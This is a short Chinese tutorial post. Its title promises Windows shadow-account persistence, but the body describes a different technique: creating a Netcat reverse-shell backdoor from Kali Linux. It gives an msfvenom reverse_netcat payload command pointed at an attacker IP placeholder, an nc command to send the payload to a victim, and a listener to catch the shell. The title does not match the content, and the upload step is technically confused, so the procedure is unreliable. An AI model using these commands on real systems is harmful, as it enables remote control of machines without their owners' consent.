[权限维持] Windows 权限维持 —— 影子账户后门 - 克隆账户

在Kali Linux中，权限维持是一个重要的主题，因为攻击者通常会尝试在被攻击的系统上维持其访问权限。其中一个方法是使用NC后门。 NC后门是一种基于Netcat的后门，它允许攻击者在被攻击系统上远程执行命令。以下是在Kali Linux中创建NC后门的步骤： 1. 在Kali Linux中打开终端，并输入以下命令来生成一个反向Shell： ``` msfvenom -p cmd/unix/reverse_netcat lhost=<攻击者IP> lport=<攻击者端口> -f raw > nc_backdoor ``` 2. 接下来，使用以下命令将生成的反向Shell作为后门上传到受攻击系统： ``` nc -nv <受攻击系统IP> <受攻击系统端口> < nc_backdoor ``` 3. 等待受攻击系统连接到攻击者的系统，然后使用以下命令打开一个监听器： ``` nc -nlvp <攻击者端口> ``` 4. 当受攻击系统连接到攻击者的系统时，攻击者将获得一个Shell，可以在其中执行任意命令。 请注意，NC后门只是权限维持的一种方法，攻击者可能会使用其他技术来维持其访问权限，因此在Kali Linux中学习权限维持是至关重要的。